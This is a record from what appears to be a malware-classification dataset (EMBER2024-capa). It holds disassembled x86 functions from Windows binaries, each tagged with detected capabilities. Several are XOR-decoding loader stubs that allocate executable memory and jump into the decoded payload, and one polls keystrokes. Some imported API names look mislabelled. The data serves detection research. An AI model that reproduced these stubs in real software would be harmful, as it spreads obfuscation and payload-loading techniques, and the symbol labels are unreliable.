joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4189e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x5a94], 0
lea esi, [edi + 0x5a98]
je 0x418a62
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x418a1c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.0041acd0
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.00403f20
mov edx, dword [esi]
mov ecx, 0x47e784
push dword [edi + 0x5a94]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x5aa0]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.00403f20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418ea0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x47e788]
lea edx, [ecx + 1]
push ebx
mov dword [ebp - 4], eax
or ebx, 0xffffffff
mov al, byte [ecx]
push esi
push edi
test al, al
je 0x418ee7
or esi, 0xffffffff
nop
cmp al, 0x23
jne 0x418ece
cmp byte [edx], al
jne 0x418ece
cmp byte [edx + 1], al
cmove ebx, esi
movzx ecx, bl
movzx eax, al
xor ecx, eax
shr ebx, 8
mov al, byte [edx]
inc edx
xor ebx, dword [ecx*4 + 0x43a608]
test al, al
jne 0x418ec0
mov ecx, dword [ebp - 4]
xor esi, esi
not ebx
mov eax, dword [ecx + 0x5a3c]
test eax, eax
jle 0x418f3f
mov edx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor edi, edi
test esi, esi
js 0x418f08
cmp esi, eax
jl 0x418f25
push 0x709
push str.C:Users_bidyuDownloadsCompressedImGui_Menu_Version_2.0ImGui_Menu_Version_2.0imgui.h
push str.i___0__i___Size
call edx
mov ecx, dword [ebp - 4]
add esp, 0xc
mov edx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [ecx + 0x5a44]
cmp dword [eax + edi + 4], ebx
je 0x418f48
mov eax, dword [ecx + 0x5a3c]
inc esi
add edi, 0x24
cmp esi, eax
jl 0x418f00
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
js 0x418f54
cmp esi, dword [ecx + 0x5a3c]
jl 0x418f68
push 0x709
push str.C:Users_bidyuDownloadsCompressedImGui_Menu_Version_2.0ImGui_Menu_Version_2.0imgui.h
push str.i___0__i___Size
call edx
add esp, 0xc
mov eax, dword [ebp - 4]
lea ecx, [esi + esi*8]
pop edi
pop esi
pop ebx
mov eax, dword [eax + 0x5a44]
lea eax, [eax + ecx*4]
mov esp, ebp
pop ebp
ret
Function at 0x422540
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x42257a
mov eax, dword [0x47e788]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x42256d
dec dword [eax + 0xb4]
push ecx
call edi
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x4225ab
mov eax, dword [0x47e788]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x42259e
dec dword [eax + 0xb4]
push ecx
call edi
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x4225dc
mov eax, dword [0x47e788]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x4225cf
dec dword [eax + 0xb4]
push ecx
call edi
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x422629
mov eax, dword [0x47e788]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x42261c
dec dword [eax + 0xb4]
push ecx
call edi
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x42265a
mov eax, dword [0x47e788]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x42264d
dec dword [eax + 0xb4]
push ecx
call edi
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x42268b
mov eax, dword [0x47e788]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x42267e
dec dword [eax + 0xb4]
push ecx
call edi
add esp, 4
mov dword [esi + 0x5c], 0
pop edi
lea ecx, [esi + 0x78]
pop esi
jmp fcn.00424fd0
Function at 0x42ea50
Capabilities:
Log keystrokes via polling

Disassembly:
mov ecx, dword [0x47e788]
mov edx, 0x210
push ebx
push esi
push edi
call fcn.0040fd00
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
cmp byte [eax], 0
je 0x42eaea
mov ecx, dword [0x47e788]
mov edx, 0x210
call fcn.00402a30
cmp byte [eax + 8], 0
jne 0x42eaea
push 0xa0
call ebx
shr eax, 0xf
test al, 1
jne 0x42eaea
cmp dword [0x47e788], 0
jne 0x42eab5
push 0x1024
push str.C:Users_bidyuDownloadsCompressedImGui_Menu_Version_2.0ImGui_Menu_Version_2.0imgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call edi
add esp, 0xc
mov esi, dword [0x47e788]
cmp byte [esi + 0x3771], 0
je 0x42ead6
push 0
push 0x210
xorps xmm3, xmm3
lea ecx, [esi + 8]
call fcn.004030c0
mov dword [esi + 0x340], 0x210
mov dword [esi + 0x900], 0xa0
mov ecx, dword [0x47e788]
mov edx, 0x214
call fcn.0040fd00
cmp byte [eax], 0
je 0x42eb75
mov ecx, dword [0x47e788]
mov edx, 0x214
call fcn.00402a30
cmp byte [eax + 8], 0
jne 0x42eb75
push 0xa1
call ebx
shr eax, 0xf
test al, 1
jne 0x42eb75
cmp dword [0x47e788], 0
jne 0x42eb40
push 0x1024
push str.C:Users_bidyuDownloadsCompressedImGui_Menu_Version_2.0ImGui_Menu_Version_2.0imgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call edi
add esp, 0xc
mov esi, dword [0x47e788]
cmp byte [esi + 0x3771], 0
je 0x42eb61
push 0
push 0x214
xorps xmm3, xmm3
lea ecx, [esi + 8]
call fcn.004030c0
mov dword [esi + 0x344], 0x214
mov dword [esi + 0x910], 0xa1
mov ecx, dword [0x47e788]
mov edx, 0x212
call fcn.0040fd00
cmp byte [eax], 0
je 0x42ebfd
mov ecx, dword [0x47e788]
mov edx, 0x212
call fcn.00402a30
cmp byte [eax + 8], 0
jne 0x42ebfd
push 0x5b
call ebx
shr eax, 0xf
test al, 1
jne 0x42ebfd
cmp dword [0x47e788], 0
jne 0x42ebc8
push 0x1024
push str.C:Users_bidyuDownloadsCompressedImGui_Menu_Version_2.0ImGui_Menu_Version_2.0imgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call edi
add esp, 0xc
mov esi, dword [0x47e788]
cmp byte [esi + 0x3771], 0
je 0x42ebe9
push 0
push 0x212
xorps xmm3, xmm3
lea ecx, [esi + 8]
call fcn.004030c0
mov dword [esi + 0x22c], 0x212
mov dword [esi + 0x908], 0x5b
mov ecx, dword [0x47e788]
mov edx, 0x216
call fcn.0040fd00
cmp byte [eax], 0
je 0x42ec86
mov ecx, dword [0x47e788]
mov edx, 0x216
call fcn.00402a30
cmp byte [eax + 8], 0
jne 0x42ec86
push 0x5c
call ebx
shr eax, 0xf
test al, 1
jne 0x42ec86
mov esi, dword [0x47e788]
test esi, esi
jne 0x42ec57
push 0x1024
push str.C:Users_bidyuDownloadsCompressedImGui_Menu_Version_2.0ImGui_Menu_Version_2.0imgui.cpp
push str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call edi
mov esi, dword [0x47e788]
add esp, 0xc
cmp byte [esi + 0x3771], 0
je 0x42ec72
push 0
push 0x216
xorps xmm3, xmm3
lea ecx, [esi + 8]
call fcn.004030c0
mov dword [esi + 0x230], 0x216
mov dword [esi + 0x918], 0x5c
pop edi
pop esi
pop ebx
ret
Function at 0x43436a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4343a9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4343a9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4343a9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4343a9
cmp dword [ecx + 0x74], 0xe
jbe 0x4343a9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x2e00bb4f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x2e00bb5e
pop dword [ebp - 0x40]
mov eax, 0x4a354d92
add eax, 0xe3cb6dcc
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x67df4cd6
add dword [ebp - 0x50], 0xe672f875
mov dword [ebp - 0x4c], 0xbe0c0ac
sub dword [ebp - 0x4c], 0xd9ad7467
mov dword [ebp - 0x48], 0x8b31d268
sub dword [ebp - 0x48], 0x3ee58e3a
mov dword [ebp - 0x44], 0x27e49d41
sub dword [ebp - 0x44], 0x27e49d41
lea eax, [ebp - 0x50]
push eax
mov eax, 0xe2c1125f
sub eax, 0xb4bde197
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xdf82f282
add dword [ebp - 0x50], 0x94ef76d4
mov dword [ebp - 0x4c], 0xc0b5b2b8
sub dword [ebp - 0x4c], 0x7f495143
mov dword [ebp - 0x48], 0xf1858079
sub dword [ebp - 0x48], 0x8e16140d
mov dword [ebp - 0x44], 0xb8c2aa07
add dword [ebp - 0x44], 0x473d55f9
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x2076c037
add eax, 0xd8c7085
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x41f7c
push 0
call eax
mov ecx, 0xc364af9b
add ecx, 0x3c9b9be5
xor edi, edi
add edi, eax
mov ebx, 0x9bc7d7a0
add ebx, 0x923da660
add ebx, dword [ebp - 0x40]
mov edx, 0x8a131f60
mov dword [ebp - 0xc], 0xd87e63db
mov esi, dword [ebx]
sub dword [ebp - 0x34], 0x37cb1d4c
xor esi, edx
xor dword [ebp - 0x28], 0x3b1eaf8b
mov dword [edi], esi
mov dword [ebp - 0x2c], 0x9ef4ddd
add edi, 0x2fb956b5
add edi, 0xd046a94f
add ebx, 0xd813f989
add ebx, 0x27ec067b
loop 0x2e00bc7c
add eax, 0xcbd62fc0
sub eax, 0xcbd50eed
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe61a6113
add ecx, 0x47e59eed
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x2e01416e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e0306d8
call fcn.2e001511
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014eb5
test ax, ax
je 0x2e014216
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014216
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01420d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e00bb4f
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014200
push esi
mov ecx, edi
call fcn.2e010e6c
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e00bb4f
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e00155b
ret
Function at 0x407458
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x407467
pop dword [ebp - 8]
mov eax, 0x532c2c3e
add eax, 0xad144829
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x40744ab5
sub dword [ebp - 0x18], 0xf222056a
mov dword [ebp - 0x14], 0x98e5350c
sub dword [ebp - 0x14], 0x66b1e8c7
mov dword [ebp - 0x10], 0xde1fdb42
add dword [ebp - 0x10], 0x6e2c68ec
mov dword [ebp - 0xc], 0x267cef6d
add dword [ebp - 0xc], 0xd9831093
lea eax, [ebp - 0x18]
push eax
mov eax, 0xbe376a26
sub eax, 0xbdf6e9ae
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xaf1bf213
add dword [ebp - 0x18], 0xc5567743
mov dword [ebp - 0x14], 0x97878159
sub dword [ebp - 0x14], 0x561b1fe4
mov dword [ebp - 0x10], 0x779f40a
add dword [ebp - 0x10], 0x5bf57862
mov dword [ebp - 0xc], 0x84abd47f
add dword [ebp - 0xc], 0x7b542b81
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x39944
push 0
call eax
mov ecx, 0x51e9
mov edx, eax
mov ebx, 0x459200
add ebx, dword [ebp - 8]
mov esi, 0xe462f952
xor dword [ebp - 4], ecx
mov edi, dword [ebx]
add dword [ebp - 4], 0x8b026bde
sub edi, esi
add dword [ebp - 4], 0xbe84a9cf
mov dword [edx], edi
sub dword [ebp - 4], 0x385468b0
add edx, 4
add ebx, 4
loop 0x407572
add eax, 0x5bde7776
add eax, 0xa422c301
mov ebx, eax
add eax, 5
mov ecx, 0xd767deeb
add ecx, 0x28d82115
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x30014af0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x30020490]
jne 0x30016bf1
repz ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x30021d98], eax
mov dword [0x30021d94], ecx
mov dword [0x30021d90], edx
mov dword [0x30021d8c], ebx
mov dword [0x30021d88], esi
mov dword [0x30021d84], edi
mov word [0x30021db0], ss
mov word [0x30021da4], cs
mov word [0x30021d80], ds
mov word [0x30021d7c], es
mov word [0x30021d78], fs
mov word [0x30021d74], gs
pushfd
pop dword [0x30021da8]
mov eax, dword [ebp]
mov dword [0x30021d9c], eax
mov eax, dword [ebp + 4]
mov dword [0x30021da0], eax
lea eax, [ebp + 8]
mov dword [0x30021dac], eax
mov eax, dword [ebp - 0x320]
mov dword [0x30021ce8], 0x10001
mov eax, dword [0x30021da0]
mov dword [0x30021c9c], eax
mov dword [0x30021c90], 0xc0000409
mov dword [0x30021c94], 1
mov eax, dword [0x30020490]
mov dword [ebp - 0x328], eax
mov eax, dword [0x30020494]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x30021ce0], eax
push 1
call fcn.3001ac97
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x30002c70
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x30021ce0], 0
jne 0x30016ce1
push 1
call fcn.3001ac97
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x3001b72d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x3001b73c
pop dword [ebp - 0x20]
mov eax, 0x3001b73c
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3854d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x4762be95
sub ecx, 0x47627abc
mov edi, eax
mov ebx, 0x2fc52fba
add ebx, 0x3d3846
add ebx, dword [ebp - 0x20]
mov edx, 0x70424ee0
sub dword [ebp - 0x18], 0xb4cdc704
mov esi, dword [ebx]
xor dword [ebp - 0x1c], ecx
xor esi, edx
xor dword [ebp - 0x18], eax
mov dword [edi], esi
sub dword [ebp - 4], esi
add edi, 0xf41cee25
sub edi, 0xf41cee21
add ebx, 0xfba04ff6
add ebx, 0x45fb00e
loop 0x3001b78b
add eax, 0x5de912cb
sub eax, 0x5de81094
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x30000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4015c8
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
cmp esi, 0x100000
jge 0x4015de
mov esi, 0x100000
jmp 0x4015ea
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 1
push 0x2000
push esi
push 0
call sub.KERNEL32.DLL_WaitForSingleObject
mov edi, eax
mov dword [ebx], edi
test edi, edi
je 0x401627
mov edx, ebx
mov eax, 0x4c95e4
call fcn.0040147c
test al, al
jne 0x401627
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
xor eax, eax
mov dword [ebx], eax
pop edi
pop esi
pop ebx
ret

Function at 0x40162c
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, ecx
mov esi, edx
mov ebp, eax
mov dword [ebx + 4], 0x100000
push 4
push 0x2000
push 0x100000
push ebp
call sub.KERNEL32.DLL_WaitForSingleObject
mov edi, eax
mov dword [ebx], edi
test edi, edi
jne 0x401676
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 4
push 0x2000
push esi
push ebp
call sub.KERNEL32.DLL_WaitForSingleObject
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x40169e
mov edx, ebx
mov eax, 0x4c95e4
call fcn.0040147c
test al, al
jne 0x40169e
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WriteFile
xor eax, eax
mov dword [ebx], eax
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4016a4
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 8], 0xffffffff
xor edx, edx
mov dword [esp + 0xc], edx
mov ebp, eax
mov eax, dword [esp]
add eax, ebp
mov dword [esp + 0x10], eax
mov ebx, dword [0x4c95e4]
jmp 0x401724
mov edi, dword [ebx]
mov esi, dword [ebx + 8]
cmp ebp, esi
ja 0x401722
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0x10]
ja 0x401722
cmp esi, dword [esp + 8]
jae 0x4016f1
mov dword [esp + 8], esi
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0xc]
jbe 0x401700
mov dword [esp + 0xc], eax
push 0x8000
push 0
push esi
call sub.KERNEL32.DLL_WriteFile
test eax, eax
jne 0x40171b
mov dword [0x4c95c0], 1
mov eax, ebx
call fcn.004014ac
mov ebx, edi
cmp ebx, 0x4c95e4
jne 0x4016d3
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
cmp dword [esp + 0xc], 0
je 0x401754
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [eax], edx
mov eax, dword [esp + 0xc]
sub eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov dword [edx + 4], eax
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4017f0
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov esi, ebx
add esi, 0xfff
and esi, 0xfffff000
mov dword [esp], esi
mov ebp, ebx
add ebp, edx
and ebp, 0xfffff000
mov eax, dword [esp]
mov dword [ecx], eax
mov eax, ebp
sub eax, dword [esp]
mov dword [ecx + 4], eax
mov esi, dword [0x4c95e4]
jmp 0x40185f
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0xc]
add edi, ebx
cmp ebx, dword [esp]
jae 0x401837
mov ebx, dword [esp]
cmp ebp, edi
jae 0x40183d
mov edi, ebp
cmp edi, ebx
jbe 0x40185d
push 0x4000
sub edi, ebx
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
test eax, eax
jne 0x40185d
mov dword [0x4c95c0], 2
mov esi, dword [esi]
cmp esi, 0x4c95e4
jne 0x401827
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401b74
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x4c95bc], 0
je 0x401c51
xor edx, edx
push ebp
push 0x401c4a
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x4c9049], 0
je 0x401ba6
push 0x4c95c4
call sub.KERNEL32.DLL_lstrcpyA
mov byte [0x4c95bc], 0
mov eax, dword [0x4c961c]
push eax
call sub.KERNEL32.DLL_VirtualQuery
xor eax, eax
mov dword [0x4c961c], eax
mov ebx, dword [0x4c95e4]
jmp 0x401bd9
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_WriteFile
mov ebx, dword [ebx]
cmp ebx, 0x4c95e4
jne 0x401bc7
mov eax, 0x4c95e4
call fcn.00401474
mov eax, 0x4c95f4
call fcn.00401474
mov eax, 0x4c9620
call fcn.00401474
mov eax, dword [0x4c95dc]
test eax, eax
je 0x401c1f
mov edx, dword [eax]
mov dword [0x4c95dc], edx
push eax
call sub.KERNEL32.DLL_VirtualQuery
mov eax, dword [0x4c95dc]
test eax, eax
jne 0x401c08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401c51
cmp byte [0x4c9049], 0
je 0x401c3f
push 0x4c95c4
call sub.KERNEL32.DLL_MulDiv
push 0x4c95c4
call sub.KERNEL32.DLL_Sleep
ret
pop ebx
pop ebp
ret

Function at 0x4031b4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4c6008], 0x8088405
inc edx
mov dword [ebx + 0x4c6008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4031d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
xor ecx, ecx
mov ebx, eax
mov cx, word [eax + 4]
sub ecx, 0xd7b1
je 0x4031e6
sub ecx, 2
jne 0x403208
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.KERNEL32.DLL_GlobalFindAtomA
pop edx
dec eax
jne 0x40320f
cmp edx, dword [ebx + 8]
je 0x403219
mov eax, 0x64
jmp 0x403214
mov eax, 0x67
jmp 0x403214
call sub.KERNEL32.DLL_LockResource
call fcn.004028ec
pop ebx
ret
Function at 0x403408
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
xor edx, edx
mov ebx, eax
mov dx, word [eax + 4]
sub edx, 0xd7b0
je 0x403434
cmp edx, 3
ja 0x4034ca
call dword [ebx + 0x24]
test eax, eax
je 0x403434
call fcn.004028ec
mov word [ebx + 4], 0xd7b3
mov dword [ebx + 8], esi
mov dword [ebx + 0x24], 0x4033e0
mov dword [ebx + 0x1c], 0x402c1c
cmp byte [ebx + 0x48], 0
je 0x4034b1
mov eax, 0xc0000000
mov dl, byte [0x4c600c]
and edx, 0x70
shr edx, 2
mov edx, dword [edx + 0x4c6058]
mov ecx, 2
sub edi, 3
je 0x403493
mov ecx, 3
inc edi
je 0x403493
mov eax, 0x40000000
inc edi
mov word [ebx + 4], 0xd7b2
je 0x403493
mov eax, 0x80000000
mov word [ebx + 4], 0xd7b1
push 0
push 0x80
push ecx
push 0
push edx
push eax
lea eax, [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp eax, 0xffffffff
je 0x4034d1
mov dword [ebx], eax
jmp 0x4034e1
mov dword [ebx + 0x24], 0x402c1c
cmp edi, 3
je 0x4034c1
push 0xfffffffffffffff6
jmp 0x4034c3
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GlobalAlloc
jmp 0x4034a8
mov eax, 0x66
jmp 0x4034dc
mov word [ebx + 4], 0xd7b0
call sub.KERNEL32.DLL_LockResource
call fcn.004028ec
pop edi
pop esi
pop ebx
ret

Function at 0x403510
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov ecx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b1
cmp eax, 2
ja 0x403539
push 0
mov eax, dword [ecx + 8]
mul edx
push 0
push eax
push dword [ecx]
call sub.KERNEL32.DLL_GlobalHandle
inc eax
je fcn.004028fc
ret
mov eax, 0x67
jmp fcn.004028ec

Function at 0x403610
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b2
cmp eax, 1
ja 0x403643
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.KERNEL32.DLL_GlobalUnlock
pop edx
dec eax
jne 0x40364a
cmp edx, dword [ebx + 8]
je 0x403654
mov eax, 0x65
jmp 0x40364f
mov eax, 5
jmp 0x40364f
call sub.KERNEL32.DLL_LockResource
call fcn.004028ec
mov eax, ebx
pop ebx
ret
Function at 0x4049a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, 0x4c9630
mov esi, section.DATA
mov edi, 0x4c9044
cmp byte [ebx + 0x28], 0
jne 0x4049cf
cmp dword [edi], 0
je 0x4049cf
mov edx, dword [edi]
mov eax, edx
xor edx, edx
mov dword [edi], edx
mov ebp, eax
call ebp
cmp dword [edi], 0
jne 0x4049be
cmp dword [0x4c6004], 0
je 0x4049e9
call fcn.00404888
call fcn.00404914
xor eax, eax
mov dword [0x4c6004], eax
cmp byte [ebx + 0x28], 2
jne 0x4049f9
cmp dword [esi], 0
jne 0x4049f9
xor eax, eax
mov dword [ebx + 0xc], eax
call fcn.0040473c
cmp byte [ebx + 0x28], 1
jbe 0x404a09
cmp dword [esi], 0
je 0x404a2a
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x404a2a
call fcn.00406790
mov edx, dword [ebx + 0x10]
mov eax, dword [edx + 0x10]
cmp eax, dword [edx + 4]
je 0x404a2a
test eax, eax
je 0x404a2a
push eax
call sub.KERNEL32.DLL_LoadResource
call fcn.00404714
cmp byte [ebx + 0x28], 1
jne 0x404a38
call dword [ebx + 0x24]
cmp byte [ebx + 0x28], 0
je 0x404a43
call fcn.004048e4
cmp dword [ebx], 0
jne 0x404a5f
cmp dword [0x4c9024], 0
je 0x404a57
call dword [0x4c9024]
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_InitializeCriticalSection
mov eax, dword [ebx]
push esi
mov esi, eax
mov edi, ebx
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
pop esi
jmp 0x4049e9